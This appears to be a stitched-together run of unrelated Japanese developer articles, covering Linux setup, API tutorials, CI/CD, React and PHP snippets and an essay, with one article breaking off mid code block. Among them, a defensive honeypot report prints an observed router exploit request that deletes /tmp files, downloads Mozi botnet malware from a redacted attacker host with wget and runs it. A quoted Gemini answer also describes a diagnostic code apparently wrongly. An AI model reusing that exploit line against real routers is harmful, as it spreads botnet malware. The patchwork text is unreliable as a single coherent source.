サクッとUbuntuを入れたSurfaceProでタッチパネルを有効化する

# はじめに
windows10の不要なタブレットにubuntuを入れて業務アプリを使用するために再利用したときの備忘録です。Ubuntuはすでにインストール済みであることを前提としています

# 手順1 公開鍵とのダウンロードとリポジトリ
以下のコマンドを実行してください。
```
curl -sSL https://raw.githubusercontent.com/linux-surface/linux-surface/master/pkg/keys/surface.asc | gpg --dearmor | sudo tee /usr/share/keyrings/surface-archive-keyring.gpg > /dev/null
echo "deb [arch=amd64 signed-by=/usr/share/keyrings/surface-archive-keyring.gpg] https://pkg.surfacelinux.com/debian release main" | sudo tee /etc/apt/sources.list.d/surface.list
```

# 手順2 パッケージ更新
```
sudo apt-get update
```

# 手順3 カーネル関連のパッケージをまとめてインストール
```
sudo apt-get install linux-image-surface linux-headers-surface iptsd libwacom-surface
```

# 手順4 再起動
```
sudo reboot
```
以上でタッチパネルが使用できるようになっているかと思います。
色々試しましたがこれが一番簡単かなと思います。

# 補足
`error bad shim signature Loading Intial ramdisk error: you need to load the kernel first`といった風なエラーが再起動時に発生すると思いますので、SurfacenoのBIOSからセキュアブートを無効化しておいてください。

またhtmlなどのinput要素に対して、基本的に自動でスクリーンキーボードが出てくるみたいなことはないので、拡張機能を入れることをお勧めします。
`sudo apt install gnome-shell-extension-manager`
で拡張機能マネージャーをインストールし、Extension Manager上で「improved osk」を検索し追加します。その後OSKの設定を変更すれば画面上部にスクリーンキーボードのトグルが追加されるので多少使いやすくなるかと思います。
elm327の研究 その13

# 概要
elm327の研究やってみた。
ポルシェのDTCコード、見つけたが、自分のデータには、なかった。
copilotとgeminiに、聞いてみた。

# プロンプト

２００３年のポルシェ　カイエンでDTCコードP2270とP2272が出ている、原因は何か。

# copilotの回答

DTCコードP2270とP2272は、ポルシェカイエンの酸素センサーに関連するエラーコードです。具体的には、以下のような原因が考えられます：

1. **O2センサーの故障**：センサー自体が故障している可能性があります。
2. **配線やコネクタの問題**：センサーの配線やコネクタが緩んでいる、損傷している、または腐食している場合があります。
3. **排気漏れ**：センサー付近で排気ガスが漏れている場合、正確なセンサー信号が得られないことがあります。
4. **燃料圧力の問題**：燃料圧力が正しくない場合、酸素センサーの信号に影響を与えることがあります。
5. **燃料インジェクターの故障**：燃料インジェクターが正しく作動していない場合、酸素センサーの信号が異常になることがあります。

これらの問題を解決するためには、まずO2センサーの状態を確認し、必要に応じて交換することが一般的です。また、配線やコネクタのチェックや修理も重要です。

何か他にお手伝いできることがあれば教えてくださいね。

# geminiの回答
ポルシェ カイエン（2003年式）でDTCコードP2270とP2272が表示されているとのことですね。これらのコードは、一般的に以下の意味を持っています。

*   **P2270:** O2センサー信号がリーン（希薄）状態を検知（バンク1、センサー2）
*   **P2272:** O2センサー信号がリッチ（濃厚）状態を検知（バンク1、センサー2）

これらのコードが同時に表示される場合、いくつかの原因が考えられます。

**考えられる原因**

1.  **O2センサーの故障:** センサー自体の劣化や故障により、正しい信号を送信できなくなっている可能性があります。
2.  **エア漏れ:** インテークマニホールドやエキゾーストマニホールドからのエア漏れにより、混合気が不安定になっている可能性があります。
3.  **燃料噴射系の問題:** 燃料噴射ノズルの不良や燃料ポンプの故障などにより、適切な量の燃料が供給されていない可能性があります。
4.  **排気系の問題:** 排気漏れや触媒コンバーターの劣化などにより、排気ガスの浄化が正常に行われていない可能性があります。
5.  **エンジンコントロールユニット（ECU）の故障:** ECUの故障により、O2センサーからの信号が正しく処理されない可能性があります。

**修理のアドバイス**

1.  **O2センサーの点検:** まずはO2センサーの状態を目視で確認し、コネクターの接続や配線に異常がないか確認します。
2.  **エア漏れの点検:** インテークマニホールドやエキゾーストマニホールド周辺を点検し、エア漏れがないか確認します。
3.  **燃料噴射系の点検:** 燃料噴射ノズルや燃料ポンプの状態を点検し、異常がないか確認します。
4.  **排気系の点検:** 排気マニホールドや触媒コンバーター周辺を点検し、排気漏れや損傷がないか確認します。
5.  **ECUの点検:** ECUの故障が疑われる場合は、専門の業者に診断を依頼することをおすすめします。

**その他**

*   これらのDTCコードは、ポルシェ カイエン（2003年式）特有の問題ではないため、一般的な自動車整備工場でも対応可能です。
*   修理を行う際は、必ず専門の知識を持った整備士に依頼することをおすすめします。

**重要な注意点**

*   ご自身で修理を行う場合は、必ず安全に配慮し、適切な工具や知識を持って作業を行ってください。
*   DTCコードは、あくまで故障診断の参考となる情報であり、必ずしも特定された部品の故障を示しているわけではありません。

上記の情報が、ポルシェ カイエンの修理にお役立てできれば幸いです.

以上。
Grok APIを使ってみよう！ - $150分の無料クレジットで遊んでみる

Grok APIでは、データ共有にオプトインすることで毎月$150分の無料APIクレジットを獲得できます。このチュートリアルでは、その無料クレジットを使ってGrok APIの基本的な使い方を説明します。

## 無料クレジットの取得方法

1. まず$5の課金が必要です
2. 課金後、「Share Data」ボタンが表示されます
3. データ共有にオプトインすると$150分のクレジットが付与されます

注意：一度データ共有を有効にすると、無効にすることはできません。商用利用の場合は別チームを作成することをお勧めします。

それでは、獲得したクレジットを使って実際にAPIを試してみましょう！

## セットアップ

まず最初に必要なライブラリをインストールします：

```bash
!pip install openai
```

## APIキーの設定

環境変数にAPIキーを設定します：

```python
import os
os.environ["XAI_API_KEY"] = "your_api_key"  # ここに自分のAPIキーを入れてください
```

## 基本的な使い方

### シンプルなチャット呼び出し

```python
from openai import OpenAI

# クライアントの初期化
client = OpenAI(
    api_key=os.environ["XAI_API_KEY"],
    base_url="https://api.x.ai/v1",
)

# チャット完了APIの呼び出し
completion = client.chat.completions.create(
    model="grok-2-latest",
    messages=[
        {"role": "system", "content": "あなたは親切なアシスタントです。"},
        {"role": "user", "content": "こんにちは！"},
    ]
)

print(completion.choices[0].message)
```

### 会話の履歴を含めた例

```python
messages = [
    {"role": "system", "content": "あなたは料理の専門家です。"},
    {"role": "user", "content": "カレーの作り方を教えて"},
    {"role": "assistant", "content": "基本的なカレーの作り方をご説明します：\n1. 玉ねぎ、にんじん、じゃがいもを切ります\n2. 肉を炒めます..."},
    {"role": "user", "content": "玉ねぎの切り方のコツを教えて"}
]

completion = client.chat.completions.create(
    model="grok-2-latest",
    messages=messages
)

print(completion.choices[0].message)
```

## 高度な使い方

### システムメッセージの柔軟な使用

Grok APIの特徴の1つは、システムメッセージの配置が柔軟なことです：

```python
# 複数のシステムメッセージを使用する例
messages = [
    {"role": "system", "content": "あなたは料理の専門家です。"},
    {"role": "system", "content": "できるだけ簡潔に説明してください。"},
    {"role": "user", "content": "オムライスの作り方を教えて"}
]

completion = client.chat.completions.create(
    model="grok-2-latest",
    messages=messages
)
```

### レスポンスのストリーミング

長い応答を受け取る場合、ストリーミングを使用すると効率的です：

```python
stream = client.chat.completions.create(
    model="grok-2-latest",
    messages=[{"role": "user", "content": "長編小説を書いて"}],
    stream=True
)

for chunk in stream:
    if chunk.choices[0].delta.content is not None:
        print(chunk.choices[0].delta.content, end="")
```

## 注意点

1. APIは各リクエストを独立して処理します（ステートレス）
2. 会話の文脈を維持するには、過去のメッセージを含める必要があります
3. APIキーの管理には十分注意してください

## まとめ

Grok APIは使いやすく柔軟なインターフェースを提供しています。このチュートリアルで基本的な使い方を理解できたと思います。

より詳細な情報は [xAIの公式ドキュメント](https://api.x.ai/docs) を参照してください。
mindの研究 その96

# 概要
mindが、謎なので調べてみた。
練習問題、やってみた。

# 練習問題
mailを送信せよ。

# 方針
- vbs使う。
- outlook2007使う。

# 環境
windows11
outlook2007

# サンプルコード

```


出力ファイルは　ファイル。
エラー検査は
　エラー？　ならば
　　エラー文字列で　重大エラー
　つぎに
　。

メインとは
　「ml.vbs」で　出力ファイルを　新規オープンし　エラー検査し
　「Set olkApp = CreateObject("Outlook.Application")」で　出力ファイルに　一行書き込み　エラー検査し
　「Set objMsg = olkApp.CreateItem(0)」で　出力ファイルに　一行書き込み　エラー検査し
　「objMsg.bodyformat = 1」で　出力ファイルに　一行書き込み　エラー検査し
　「objMsg.To = "＊＊＊@***.jp"」で　出力ファイルに　一行書き込み　エラー検査し
　「objMsg.Subject = "testメール"」で　出力ファイルに　一行書き込み　エラー検査し
　「objMsg.Body = "こんにちは。テストです。よろしく。"」で　出力ファイルに　一行書き込み　エラー検査し
　「objMsg.Send」で　出力ファイルに　一行書き込み　エラー検査し
　「msgbox "ok"」で　出力ファイルに　一行書き込み　エラー検査し
　出力ファイルを　クローズし　エラー検査し
　「cscript ml.vbs」を　プログラム実行
　「ok」を　一行表示






```

以上。
PHP　in_array

## 説明
配列の中に特定の値があるかどうかの判定するために用いられる関数です。

## 使い方
```php
in_array(検索したい値,検索対象の配列);
```
特定の値が含まれている場合trueを含まれない場合falseを返します。

## 使用例
```php
$matrix = ['メッシ','ロナウド','ネイマール'];
in_array('ネイマール',$matrix);
```
trueを返します。
colimaでdocker composeコマンドを使えるようにしたい

## 背景
Docker for Desktopでは、`docker-compose`ではなく`docker compose`コマンドが使用可能でした。
Colimaでも同様の体験を実現するべく調査したので備忘録として記述しておきます。

## 手順

### 1. dockerとdocker-composeをインストールする
```
brew install docker docker-compose
```
### 2. ~/.docker/config.jsonを以下のように修正する
```
{
    "auths": {},
    "currentContext": "colima",
    "cliPluginsExtraDirs": [
        "/opt/homebrew/lib/docker/cli-plugins"
    ]
}
【初心者向け】CPU の動作モデル【５分で読める】

# CPU の動作モデル

理解のために小咄形式でまとめました。

:::note info
システムパフォーマンス関連記事の目次
- [【初心者向け】システムパフォーマンス関連まとめ【それぞれ５分で読める】](https://qiita.com/nouernet/items/d3efe67e0f52a92e061d)
:::

**登場人物**
- **太郎（後輩）**：入社1年目の若手エンジニア。
- **花子（先輩）**：システムエンジニア歴3年の先輩。

**場面：オフィスの開発ルーム**
*太郎が `CPU の動作モデル` に関する資料を見ながら、花子に質問する。*

**太郎**：「花子先輩、`CPU の動作` って、 `具体的にどんな仕組みで動いているのか` いまいちピンとこないんです…。」

**花子**：「なるほどね。`CPU の動作原理をシンプルなモデルで考える` ことが `パフォーマンスを理解する鍵` になるわ。 `3つの重要な要素` に分けて説明するわね。」

---

### **CPU の動作モデル**
**花子**：「`CPU の動作モデル` を理解するために、 `3 つの主要なコンセプト` を押さえておくことが大切よ。」

1. **CPU のアーキテクチャ**
2. **CPU のメモリキャッシュ**
3. **CPU のランキュー（Run Queue）**

---

### **1. CPUのアーキテクチャ**
**花子**：「まず `CPU のアーキテクチャ` について説明するわね。」

- **CPU は `1 つ以上のコア` を持ち、それぞれ `複数のハードウェアスレッド` を持つことがある。**
- **例えば、`4 コアの CPU` で `各コアが 2 つのハードウェアスレッドを持つ` 場合、 `8 つの論理 CPU` として OS から見える。**
- **OS はこの `論理 CPU` に対してプロセスやスレッドをスケジューリングする。**

「これは `キッチンのシェフ` みたいなもので、 `1 人のシェフ（コア）が 2 つの手（スレッド）を使って料理する` のと同じね。」

**太郎**：「なるほど！ `ハードウェアスレッドの数だけ並行処理ができる` んですね！」

---

### **2. CPUのメモリキャッシュ**
**花子**：「次に、`CPU のメモリキャッシュ` について話すわ。」

- **CPU は、メモリアクセスを高速化するために `キャッシュ` を持っている。**
- **キャッシュは `L1, L2, L3` の 3 段階に分かれていて、 `L1 が最も高速でサイズが小さく、L3 が最も遅くてサイズが大きい`。**
- **CPU がデータを取得するときは、`まず L1 → L2 → L3 → メインメモリ（RAM）` の順で探索する。**
- **キャッシュミスが発生すると、より下層のキャッシュやメモリへのアクセスが発生し、遅延が増加する。**

「これは `冷蔵庫と食材の保管場所` みたいなもので、 `L1 キャッシュはすぐ手の届く調味料、L2 は冷蔵庫、L3 は倉庫` のようなイメージよ。」

**太郎**：「つまり、`L1 にデータがあれば超高速だけど、メインメモリに行くと遅くなる` ってことですね！」

---

### **3. CPUのランキュー（Run Queue）**
**花子**：「最後に、`CPU のランキュー` について話すわ。」

- **CPU のランキューは、`CPU の処理待ちキュー` のこと。**
- **OS のスケジューラは、`各スレッドを論理 CPU に割り当てるためにランキューを管理` する。**
- **ランキューが `長くなると CPU の待ち時間が増え、システムのレスポンスが悪化する`。**
- **例えば、`top コマンド` で `load average` を見れば、 `ランキューの混雑度` を確認できる。**

「これは `レストランのオーダーキュー` みたいなもので、 `待ち行列が長くなると料理が出てくるのが遅くなる` のと同じよ。」

**太郎**：「なるほど！ `CPU がすぐに処理できないと、ランキューにたまって遅くなる` んですね！」

---

**花子**：「これらの `CPU の動作モデル` を `レストランのオペレーション` に例えると、こんな感じね。」

1. **CPU のアーキテクチャ** → `レストランのシェフとキッチンの数`
   - `シェフ（コア）が多いほど、同時に多くの料理が作れる。`
   - `シェフが2つの手（スレッド）を使うことで、効率よく作業できる。`

2. **CPU のメモリキャッシュ** → `冷蔵庫と食材の配置`
   - `手元にある調味料（L1 キャッシュ）が最も早い。`
   - `冷蔵庫（L2 キャッシュ）まで行くと少し遅い。`
   - `倉庫（L3 キャッシュ）に取りに行くと、時間がかかる。`

3. **CPU のランキュー** → `注文の待ち行列`
   - `キッチンがフル稼働でも、オーダーが多すぎると待ち時間が発生する。`
   - `注文（タスク）が増えすぎると、店全体の回転率が悪くなる。`

**太郎**：「めちゃくちゃ分かりやすいです！ `CPU の負荷が高くなると、キューが詰まってシステムが遅くなる仕組み` がよく分かりました！」

---

### **まとめ**
**花子**：「CPU の `動作モデル` を理解すると、 `システムのパフォーマンスを分析するときに、どこがボトルネックになっているのかを把握しやすくなる` わ。」

**太郎**：「ありがとうございます！ `top コマンドや htop で、ランキューの状態を確認してみます！」 

# 参考リンク

システムパフォーマンス関連記事の目次

- [【初心者向け】システムパフォーマンス関連まとめ【それぞれ５分で読める】](https://qiita.com/nouernet/items/d3efe67e0f52a92e061d)

システムパフォーマンス関連記事は、以下の書籍を参考に記述しています。

- [［改訂新版］プロのためのLinuxシステム構築・運用技術](https://www.amazon.co.jp/dp/B01LZURAPK)
- [改訂2版 ネットワークエンジニアの教科書](https://www.amazon.co.jp/dp/B07NXQ4TDV)
- [絵で見てわかるシステムパフォーマンスの仕組み](https://www.amazon.co.jp/dp/B00LHFOTF4)
- [詳解 システム・パフォーマンス 第2版](https://www.oreilly.co.jp/books/9784814400072/)
- [入門 モダンLinux](https://www.oreilly.co.jp/books/9784814400218/)
- [Linuxシステム管理](https://www.oreilly.co.jp/books/9784873113463/)
Qiitaを見て、再起して、アウトプットしまくった話


# 2018年

---


# 35歳無職ワイ

---

# 前職は嫌になって辞めた

---

# ワイ「もう働きたくないな」

---

# ワイ「やっぱりワイに社会人なんて、無理だったんや」

---

# ワイ「こんな、人間の出来損ないにはな・・・」

---

# そんな無職の日々

---

# 一方そのころ、ゆめみ社は

---

# 技術アウトプットに力を入れ始めていたらしい

---

# プレゼントとか賞金とか、インセンティブを用意して、技術記事の執筆を推奨してたっぽい

---

# 無職ワイもたまたま、トレンドに載っていたゆめみ社員の記事を読んだ

---

# これ
https://qiita.com/Ancient_Scapes/items/bba0fab1e55936e7234a

---

# 筆者: カリポリ君

---

# お前らの記事のタイトルは間違っている<br>〜爆速で誰でもできるQiitaでバズらせる6個の必殺技まとめ

---

# なんやこのタイトル・・・

---

# なんか2ちゃんねるのスレタイとか、迷惑メールの件名みたいやんけ・・・！

---

# 空気読めてない、アホらしい記事だと思った

---

# でもぶっちゃけ面白かったし、センス良いと思った

---

# 無意識に刷り込まれた

---

# 「アホやなぁ」

---

# 「ってか自由やな」

---

# 「好きなこと書いてんなぁ」

---

# 大人になっても、好きなことやってもいいのかもなぁ

---

# 会社の名前を出してアホなことやってもいいのかも

---

# 「やったらアカン！」って思い込みすぎてたのかも

---

# 求めたら辛くなるから、求めないようにしてたのかも

---

# あれ、ワイって気付かないうちに、大事なものを諦めてたのかも

---

# それは定数だと思ってたけど、動かせるものなのかも

---

# 当時は自覚してなかったけど、そんなことを無意識に刷り込まれていた

---

# （ような気がする）

---

# 数字的にはそこまでバズってた訳でもない

---

# でも、とにかく記憶に残る記事だった

---

# 同じ100いいねでも

---

# 「うん、いい記事やん」なのか

---

# 「なんやこの記事！いいね押したろw」なのか

---

# 記憶への残り方が全然違うな、って思った

---

# その後

---

# なんだかんだで、そのカリポリ君とXで相互フォローに

---

# そして、カジュアル面談（焼き鳥屋で飲み）に行って

---

# なんだかんだで、ゆめみ受けて、入社

---

# そんなワイだから、入社後にいっぱいQiita記事を書いた

---

# 空気読めてないコントみたいな関西弁の記事を量産

---

# そして、それを見た人たちが入社してくれた

---

# その人たちもまたアウトプット好きだから記事をどんどん書く

---

# それを読んだ人がまた入社

---

# それの繰り返しで、技術アウトプット好きな人が増えていった

---

# そんなこんなで

---

# 好き勝手にアウトプットしていた結果

---

# エンジニアが選ぶ「開発者体験が良いイメージのある企業ランキング2024」4位に

---

# 技術アウトプットで有名な会社になれた

---

# Qiita Organizationのおかげで、個人だけでなく会社の名前が前面に出ていたことも大きい

---

# まとめ

---

# 沢山いいね稼ぐこと、大事

---

# いいねを獲得するために記事を書くのも、大事

---

# Qiitaでいつもトレンド上位にいると、会社の名前が売れるから

---

# でも、それよりも

---

# 「自分が面白いと思うことを書くんや！」

---

# そんな風に

---

# 楽しみながら、自分らしく発信すること

---

# 「なんだ、この記事！」

---

# そんな驚きを与えること

---

# それが一番のブランディングなのかも
ハニーポット観測：ルーターの脆弱性を狙う攻撃に関する観測内容

# はじめに
インターネットと組織/家庭の内部ネットワークの境界に設置されることの多いルーターは、インターネットを通じた攻撃の標的となっています。
三菱電機 情報技術総合研究所で運用しているハニーポットでも、ルーターの脆弱性を狙っていると見られる攻撃を頻繁に観測しています。

今回はルーターの脆弱性を狙った攻撃の脅威を共有する目的で、2024年12月～2025年1月に弊社のハニーポットで観測された、NVDでの公表半年以内のルーターの脆弱性を標的とすると見られる攻撃をご紹介します。
なお、観測パケットの一部パラメータは伏せます。

# ルーターの脆弱性を狙った攻撃の観測状況

## CVE-2024-12847[^1]
NETGEAR DGN1000 ファームウェアバージョン1.1.00.48未満とDGN2200 v1の全てのファームウェアに存在する脆弱性です。
本脆弱性はNVD[^2]で2025/01/10に公開されました。
しかし本脆弱性は、少なくとも2017年から悪用されていたと報告があります。
この脆弱性は、特定のパラメータを含むパケットをルーターのエンドポイントである"setup.cgi"に送信することで、ルーターの認証をバイパスし、任意のコマンドを実行できるというものです。

弊社のハニーポットで観測したパケットの例を以下に示します。

|URI|
|---|
|GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://[マルウェアダウンロード先のIP]:[ポート番号]/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&[特定のパラメータ]|

本パケットではルーターの認証をバイパスしつつ、以下のコマンドの実行により、マルウェアの感染を狙っているものと考えられます。

1. "wget+http://[マルウェアダウンロード先のIP]:[ポート番号]/Mozi.m+-O+/tmp/netgear"：wgetコマンドで攻撃者のサーバーからマルウェア"Mozi.m"をダウンロードさせ、tmpフォルダに"netgear"という名前で保存させます。
2. "sh+netgear"：shコマンドで"netgear"ファイルを実行させ、マルウェアに感染させます。

指定されているマルウェアである"Mozi.m"とは、主にIoTデバイスを標的として、感染した対象を遠隔操作できるボットにするマルウェアの一種です("Mirai"というIoT機器に感染するマルウェアの亜種です)。
ルーターが本マルウェアに感染すると、攻撃者の指示可能なボットとなります。
そして、感染したルーターはボットから構成されるネットワークであるボットネットに組み込まれ、攻撃者の攻撃リソースとして悪用されると考えられます。

本脆弱性について、弊社における約1年分の月毎の観測状況を下記のグラフに示します。
縦軸は１ヶ月で観測した攻撃パケット数、横軸は時間(月単位)を表します。

![CVE-2024-12847 観測状況(ラベル修正)-1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3901808/b520a87c-9f8a-4f92-8e2f-3c8230908b12.png)

グラフで示されるように、本脆弱性を悪用した攻撃は約1年、毎月継続的に観測されています。
そのため、対象のルーターを利用されている方は早急な対応(対応策は後述)が必要です。

## CVE-2024-9001[^3]
TOTOLINK T10 4.1.8cu.5207ファームウェアに存在する脆弱性です。
本脆弱性はNVDで2024/09/19に公開されました。
この脆弱性は、特定のコマンドを含むパケットをルーターのファイル"/cgi-bin/cstecgi.cgi"に送信することで、任意のコマンドを実行できるというものです。


弊社のハニーポットで観測したパケットの例を以下に示します。

|URI|POSTデータ|
|---|---|
|POST /cgi-bin/cstecgi.cgi|[特定のコマンド]&num=4&topic,url=setTracerouteCfg|

観測したパケットは、URIに"/cgi-bin/cstecgi.cgi"を指定し、POSTデータに"特定のコマンド"を含めたものです。
ただし、伏せていますが、今回は直接的な攻撃に繋がるコマンドが記述されていなかったため、偵察目的のパケットであると推測しています。
本パケットを受信した機器の応答次第では、次の攻撃に繋げる狙いや、脆弱な機器のIPアドレスリストの作成などに使用する狙いがあると推測しています。


弊社における観測状況を下記のグラフに示します。
縦軸は1時間で観測した攻撃パケット数、横軸は時間(1時間単位)を表します。

![CVE-2024-9001 観測状況(Qiitaラベル修正)-1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3901808/0bacf3db-c332-4692-bdf1-c2cb14504d2a.png)

グラフで示すように、本脆弱性を狙った攻撃は2024/12/25 12:00～12/26 18:00頃に集中しています。
送信元のIPアドレスは全て同じであり、単一の攻撃者が脆弱性のあるルーターの公開状況を調査したものと推測しています。


# おわりに
今回は長年に渡り悪用され続けている脆弱性や、公表後に短期間で攻撃が実施されている脆弱性を悪用する攻撃の観測例をご紹介しました。
弊社のハニーポットではご紹介した以外にも、ルーターの脆弱性の悪用を試みるパケットを観測しております。
今回ご紹介した事例に限らず、ルーターの脆弱性が発表された際には、各個人/組織による早急な対応が必要と考えています。
ルーターに関する脆弱性は、悪用すれば社内ネットワークへの侵入や攻撃者のボットネットに組み込まれて攻撃用リソースとして使用されるなど、利用価値が高いために攻撃の標的となりやすいです。
例えば総務省のNOTICE[^4]でも、ルーターやネットワークカメラに対する注意喚起が行われています。

セキュリティ強化のために、例えばルーターの自動アップデートの利用など、最新のファームウェアを随時適用できる設定が望ましいです。
また、古いルーターなど、場合によっては脆弱性への対策が施されたファームウェアが配布されない場合があるので、そのような場合にはルーターの交換も検討する必要があります。

弊社では今後もQiitaを通じて継続的にハニーポットを用いた攻撃パケットの観測/分析結果をご報告します。


[^1]:https://nvd.nist.gov/vuln/detail/CVE-2024-12847
[^2]:National Vulnerability Database：https://nvd.nist.gov/
[^3]:https://nvd.nist.gov/vuln/detail/CVE-2024-9001
[^4]:https://notice.go.jp/
Flutterで作ったアプリをgithub actionsで自動アプロードする時につまずいたとこ


## Provisioning Profile作成時エラー
### 内容
```
name: Import Provisioning Profile  
  run: |  
    mkdir -p ~/Library/MobileDevice/Provisioning\ Profiles  
    echo -n ${{ secrets.PROVISIONING_PROFILE }} | base64 -d > ~/Library/MobileDevice/Provisioning\ Profiles/<アプリのmobileprovisionファイル名>
```

### エラー
```
Run mkdir -p ~/Library/MobileDevice/Provisioning\ Profiles
~~
syntax error near unexpected token `|'
```

### 原因
actionsのsecretsにapple developerのprofileから取得してbase64にエンコードして登録する際に改行文字を削除していなかった。
BAD
```
base64 -i <ダウンロードしたprofile file> | pbcopy
```
GOOD
```
base64 -i <profile file> | tr -d "\n" | pbcopy 
```


## ipaファイル作成時エラー 

### 内容 
```
name: Export ipa  
  run: flutter build ipa --export-method "app-store" --release
```

### エラー 
```
Error (Xcode): No profiles for '' were found: Xcode couldn't find any iOS App Development provisioning profiles matching ''. Automatic signing is disabled and unable to generate a profile. To enable automatic signing, pass -allowProvisioningUpdates to xcodebuild.
```

### 原因 
provisioning file作成時に違うcertificateを選択していた。
[React]前に入力された値を保持する

## 背景
直前に入力された値を保持し、それを処理の中で利用したい箇所があった

## 実装：

```
//型アノテーション<string>で文字列型であることを指定、初期値は空文字列('')
//setPreviousStr:previousStrの値を更新するための関数、この関数を呼び出すことで状態を更新可能
//previousStr:前回の文字列の値を保持する状態変数

const [previousStr, setPreviousStr] = useState<string>('');
```

## 使用例：
```
// 設定が解除された際に、以前の文字列の状態を復元するために使用

if (isType(On)) {
  setPreviousStr(Str || ''); // 現在の文字列を保存
  const updatedStr = removeStrs(Str);
  modifyStr(updatedStr);
}
```

## Reactの難しい点とコツ
#### 1. 状態管理が難しい
- ある処理では値を保持し、ある処理では削除するなど、状態の管理が自由である分適切に制御しないとバグの原因になりやすい。
    - useState / useReducer / useContext などを適切に使い分け、状態を一元管理すると分かりやすくなる。
#### 2. 各処理の条件を厳格に決める
- 条件が曖昧だと、意図しない副作用が発生しやすく、特に useEffect では依存配列の管理が適当だと無限ループや不要な処理が実行されることがある。
    - 依存配列に入れる値は最小限にする
    - 依存関係が複雑な場合は、カスタムフックに切り出して管理すると分かりやすくなる
    - 不要な再レンダリングを防ぐために useMemo / useCallback を適切に使う

#### 3. 複雑な分岐は関数化する
- if や switch の分岐が増えすぎると、コードの可読性や保守性が低下する。
    - 条件分岐を関数として切り出す
pidofでPHPバッチ処理の二重起動を防止するときの注意点

PHPのバッチ処理が二重に起動しないように、「pidof 」というコマンドを利用しました。

こちらの記事を参考にさせていただきました。
[[一番簡単かも]cron起動プロセスの多重起動防止ワンライナー](https://qiita.com/meguroman/items/517f22f68b9235163036)




## PHPバッチ処理が二重起動してしまった

実際に書いたcronですが、これ、うまくいきませんでした。。

```:cron
* * * * * /usr/sbin/pidof -x batch.php >/dev/null || /usr/bin/php /path/to/batch.php
```


```/usr/sbin/pidof -x batch.php```を「batch.php」が起動している状態で実行しても、プロセスIDが返ってきません。

自分なりの解釈ですが、起動しているプロセスはあくまで「/usr/bin/php」なので、「batch.php」のプロセスを探しても見つからないのだと思います。

## 解決策

こちらの記事を参考にさせていただきました。
[cron 実行でスクリプトの多重起動を防止する方法](https://www.t3a.jp/blog/web-develop/cron-multi-block/)



シェルスクリプト経由でPHPバッチ処理を実行したところ、うまくきました！


```shell:batch.sh
#!/usr/bin/sh

cd /path/to

/usr/bin/php batch.php
```

```:cron
* * * * * /usr/sbin/pidof -x batch.sh >/dev/null || /path/to/batch.sh
```

シェルスクリプトを実行すると、シェルスクリプト自体が起動プロセスとなるので「pidof」でプロセスIDが返ってくるのだと思います。
GitLabのCI/CDを活用して、デプロイを自動化

検証サーバーなどのテストフェーズにおいて、不具合対応のたびに発生するデプロイ作業、
面倒に思った経験はないでしょうか？
私はあります。
その作業、GitLabのCI/CDを活用することで自動化できます。

# はじめに、GitLab、CI/CDって何？

そもそもGitLabとは、主に、ソースコードなどを共有・管理するシステムです。
GitLabを使うことで共同開発の効率や生産性の向上が見込めます。
CI/CDは、ソフトウェア開発の際に、ビルド・テスト・デプロイ・リリースの工程を自動化し、
業務効率を上げるための開発手法です。
GitLabには、このCI/CD機能が搭載されています。

# 実践

[前提]
・検証用サーバーはLinux(RHEL)を使用
　（他OSの場合、コマンドを書き換える必要があります。）
・プロジェクトファイル作成済み（C#, .NETで作成したプロジェクトを例にします）
・GitLab上にプロジェクトのリポジトリを作成済み

手順としては、以下となります。
1. gitlab-runnerのインストール（GitLab-Runner実行用）
2. gitlab-runnerの登録
3. .gitlab-ci.ymlの準備（GitLab-Runnerの処理を記述）
4. 動作確認

たったこれだけです！

## 1. GitLab-runnerのインストール
検証用サーバーに、gitlab-runnerをインストールします。
[公式ドキュメント](https://docs.gitlab.com/runner/install/)に沿ってインストールを進めます。

[コマンド] ※OSに応じたコマンドを実行してください。
~~~
# Download the binary for your system
sudo curl -L --output /usr/local/bin/gitlab-runner https://gitlab-runner-downloads.s3.amazonaws.com/latest/binaries/gitlab-runner-linux-amd64

# Give it permissions to execute
sudo chmod +x /usr/local/bin/gitlab-runner

# Create a GitLab CI user
sudo useradd --comment 'GitLab Runner' --create-home gitlab-runner --shell /bin/bash

# Install and run as service
sudo gitlab-runner install --user=gitlab-runner --working-directory=/home/gitlab-runner
sudo gitlab-runner start
~~~

## 2. gitlab-runnerの登録
検証用サーバーにてコマンドを実行し、gitlab-runnerの登録を行います。
登録時、GitLabのURLとtokenの情報が必要です。

[コマンド] ※OSに応じたコマンドを実行してください。
~~~
sudo gitlab-runner register --url ｛URL｝ --registration-token｛token｝
~~~

<details><summary>URLとtokenはこちらから確認できます。</summary>

![gitlab-runner登録1-1-1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3962434/dc3f730c-1669-4159-b4e2-2a8dacbb5725.png)

![gitlab-runner登録2-3-768x646.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3962434/ca215d99-17fe-4234-a3af-75d6c05f2bc9.png)

</details>

## 3. .gitlab-ci.ymlの準備
GitLab CI/CDのパイプライン定義ファイル(.gitlab-ci.yml)を作成します。
ファイルは、GitLabリポジトリのルートディレクトリ直下に配置します。

記載例（.gitlab-ci.yml）
~~~
# ジョブの実行順序を定義（例：build → test → deploy → clean）
stages:
  - build
  - test
  - deploy
  - clean

# ジョブ定義(build)
build-job:
  stage: build
  script:
    - dotnet build ./SampleProject/Sample.csproj

# ジョブ定義(test) ※テストコード作成している場合
test-job:
  stage: test
  script:
    - dotnet build ./SampleProject/SampleUnitTest.csproj -r linux-x64
    - dotnet test -r linux-x64

# ジョブ定義(deploy)
deploy-job:
  stage: deploy
  script:
   - dotnet publish -c Release -r linux-x64 SampleProject/Sample.csproj 
   - {検証用サーバーへのデプロイコマンドを各自記述}

# ジョブ定義(clean) ※必要に応じて定義
clean-job:
  stage: clean
  script:
  - {デプロイ後の不要ファイル削除処理のコマンドなど各自記述}
~~~

## 4. 動作確認
必要な設定は以上となります。
プロジェクトファイルに変更を加えコミットすることで、
先ほどパイプライン定義した処理が自動で実行されます。
パイプライン上で、各ジョブの実行ステータスを確認することができます。

Gitlab > CI/CD > Pipelines
![pipeline.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3962434/cb7f1a18-e251-4989-a8c9-ea617b53a4fc.png)
全てのジョブが正常終了すると、上記画像のとおり、緑のチェックマークとなります。

# 最後に
